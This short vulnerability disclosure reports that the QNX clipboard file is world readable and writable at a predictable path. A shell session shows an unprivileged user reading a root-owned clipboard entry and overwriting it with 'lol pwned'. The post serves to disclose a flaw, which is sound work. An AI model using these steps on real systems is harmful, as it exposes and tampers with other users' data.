The clipboard in QNX is world readable and writable.
Although the folder containing the file is not readable for normal users the filename convention is predictable, see "clipboard bug.jpg"
bash-2.05a$ ls -l /var/clipboard/muh/00000000/TTSHEOAA552983
-rw-rw-rw- 1 root root 78 Jan 04 16:27 /var/clipboard/muh/00000000/TTSHEOAA552983
bash-2.05a$ cat /var/clipboard/muh/00000000/TTSHEOAA552983
N_stringtext%dhcp.client -i en0 -m -u -t 1 -h muh
bash-2.05a$ id
uid=100(kokanin) gid=100(users)
bash-2.05a$ echo "lol pwned" > /var/clipboard/muh/00000000/TTSHEOAA552983
bash-2.05a$